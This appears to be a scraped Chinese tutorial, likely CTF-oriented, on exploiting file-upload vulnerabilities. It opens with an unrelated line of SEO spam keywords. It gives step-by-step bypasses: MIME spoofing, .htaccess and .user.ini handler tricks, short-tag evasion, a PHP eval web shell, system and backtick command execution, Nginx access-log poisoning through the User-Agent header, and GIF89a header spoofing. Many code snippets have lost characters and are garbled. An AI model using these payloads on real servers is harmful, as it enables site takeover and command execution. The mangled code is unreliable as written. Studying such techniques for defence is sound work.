浙江怎么制作网站,网站页头图片,有了域名怎么做自己得网站,校园网站建设 方案论证目录
定义
1.前端验证
2.MIME验证
3.htaccess文件和.user. ini
4.对内容进行了过滤#xff0c;做了内容检测
5.[ ]符号过滤
6.内容检测php [] {} ;
7.()也被过滤了 8.反引号也被过滤
9.文件头检测 定义 文件上传漏洞是指攻击者上传了一个可执行文件#xff08;如木马…目录
定义
1.前端验证
2.MIME验证
3.htaccess文件和.user. ini
4.对内容进行了过滤做了内容检测
5.[ ]符号过滤
6.内容检测php [] {} ;
7.()也被过滤了 8.反引号也被过滤
9.文件头检测 定义 文件上传漏洞是指攻击者上传了一个可执行文件如木马、病毒、恶意脚本、WebShell等到服务器执行并最终获得网站控制权限的高危漏洞。 1.前端验证 使用js在前端做了验证后缀但是后台没有验证前端验证其实是我们本地的验证如看到类似如下js验证代码 可以通过F12开发者模式把验证代码改了来绕过 就上传成功了 之后就可以连接后门执行代码了 2.MIME验证 属于后端的验证通过抓包可以看到Content-type字段的一个文件格式如图就是上传了一个php文件所显示的类型 如只允许上传image/png格式抓包将其改为允许的文件类型就可以绕过。 注意后门代码需要特定格式后缀解析不能一图片后缀解析后门代码解析漏洞除外。图片中有后门代码不能被触发所以连接不上后面 而当上面都不行的时候尝试大小写绕过可以看上传成功 但是不一定能正常解析像这样变成直接下载这就是错误的解析 。这是根据中间件的一个搭建所决定的有些大小写绕过就很尴尬有些你改了之后呢就会出现解析不了直接下载或者直接保存的情况 或者是通过多后缀解析如php5php7 3.htaccess文件和.user. ini 首先要了解.htaccess通常用于实现URL重写、访问控制、错误页面定制、MIME类型设置等功能且只在Apache下有效在绕过文件上传的限制中在Apache全局配置文件中httpd.conf有这样一条配置AddType application/x-httpd-php .php .phtml .php5 .pht .phps 这里配置的意思就是将以.php .phtml .php5 .pht .phps为后缀的文件按php文件进行解析。 AddType application/x-httpd-php是将所有文件按照php文件进行解析如将jpg文件按照php文件进行解析 大部分网站都是用的fastcgi这个东西可以理解为可以提供web服务器的一种api而apache/nginx/iis这些服务器都会依靠这种api来运行。而在服务器以fastcgi启动运行的时候.user.ini也是php的一种配置文件php.ini是php的配置文件它可以做到显示报错导入扩展文件解析web站点路径等等设置。而.user.ini实际上就是一个可以由用户自定义的php.ini。也就是说.user.ini不仅限于 Apache 服务器,同样适用于 Nginx 和 IIS 服务器。 而.user.ini和.htaccess一样是对当前目录的所有php文件的配置设置即写了.user.ini和它同目录的文件会优先使用.user.ini中设置的配置属性。前提是有php文件 假设在某个目录有一个.htaccess文件配置有两种一种如下表示把muma.jpg文件并以php解析 FilesMatch muma.jpg //上传的文件名
SetHandler application/x-httpd-php
/FilesMatch 或者另一种配置直接解析某一类文件 AddType application/x-httpd-php .jpg 而.user.ini文件配置则是把文件包含进php文件执行写法同样有2种 auto_prepend_fileauto_append_file 理解这些前置知识之后下面说说怎么利用在文件上传种思路如下 上传一个.htaccess文件/.user.ini文件里面配置你后续需要上传的一个带有后门木马的png或其他允许的类型文件上传成功之后在把带有后门木马的png或其他允许的类型文件上传就可以解析文件了。注意.htaccess文件只在Apache下有效但是是直接设置某种格式以php解析而.user.ini文件可以是其他的中间价但是.user.ini必需要当前文件夹下有php文件 .htaccess上传的例子 首先创建一个.htaccess文件写入下面配置内容 FilesMatch a.jpg //上传的文件名
SetHandler application/x-httpd-php
/FilesMatch 抓包把Content-Type类型的application/octet-stream改为image/png允许的类型 .htaccess文件设置了a.jpg,所以后门文件也需要命名为a。jpg再把a.jpg上传上去 这个时候就会以php去解析a.jpg了 .user.ini类似如果是其他中间价如nginx的情况下创建一个.user.ini文件用上面说的两个方法包含一个我们后续要上传的后门文件a.txt 在把后门文件传上去 如果有php文件就会被包含进php解析了访问存在的php文件就可以getshell了 4.对内容进行了过滤做了内容检测 经过上面的方法user.ini和png文件都可以上传但是包含后门代码的文件上传失败也就是说有内容检测 测试检查是过滤的什么代码 如过滤了类似?php这类标签 在与user.ini联用的基础上可以尝试用短标签绕过或者是其他语言的标签绕过 ? echo123? //前提是开启配置参数short_open tagson
?(表达式)? //不需要开启参数设置
% echo 123 % //前提是开启配置参数asp tagson
script languagephpecho 1/script //不需要修改参数开 如.user.ini文件写入: auto_prepend_filetest.png test png文件使用短标签写后门代码 : ?eval($ POST[X]); ? 修改后就成功上传了 就可以getsgell了注意index.php可以不写但是要记得.user.ini是需要当前目录有php文件的 5.[ ]符号过滤 在上面的基础上可能遇到[]也被过滤了 可以换成{ } 6.内容检测php [] {} ; 前置知识如果一个php文件是由纯 php代码组成那么php结束标识 ‘?’可以省略建议省略如果省略最后一行必须加分号而不省略写完整结构‘?php ?’最后一行可以不写分号下面例子 ?php echo 123 ? //最后一行允许不加分号?php echo 123 ; //必须加分号 而php中system() 函数用于执行外部程序并显示其输出到 web 页面 不需要依赖echo之类的输出函数 由这个思路不需要eval这类执行函数结果user.ini使用? system(tac fl*) ?上传即可 7.()也被过滤了 当括号也被过滤了也就是说不能通过系统函数如system()去触发了这是可以使用反引号。 在php中相当于直接执行系统命令 8.反引号也被过滤 反引号都被过滤后基本上就很难再这基础上直接上传了所以要换个思路下面说说通过包含日志文件去执行 前置知识中间件一般会记录日志这些日志一般都会记录很多header信息如User-Agent浏览器信息等。 所以可以通过user.ini配置让php文件包含一个中间价日志文件去执行利用代码 一般访问日志默认的位置如果自定义就不行了 linux/var/log/nginx/access.log windowsC:\nginx\conf\nginx.conf 流程还是和user.ini一样的让user.ini包含1.png然后1.png里使用include把日志文件包含进来有可能log关键字会被过滤下面的写法通过字符拼接绕过 auto_prepend_file1.png //.user.ini内容
?include/var/lo.g/nginx/access.l.og? //1.png内容 在通过UA来插入后门代码 再去访问就可以被触发 9.文件头检测 以winhex打开一张gif可以看到他是以GIF89a开头这个就是文件头特征 常见的文件头 知道什么是文件头之后只需要在原来的基础上加上对应的文件头就可以了 比如上传user.ini或后门文件在最开始的地方加上文件头 //.user.ini文件配置
GIF89a
auto_prepend_file1.png //1.png文件配置
GIF89a
?include/var/lo.g/nginx/access.l.og? 后面访问是一样的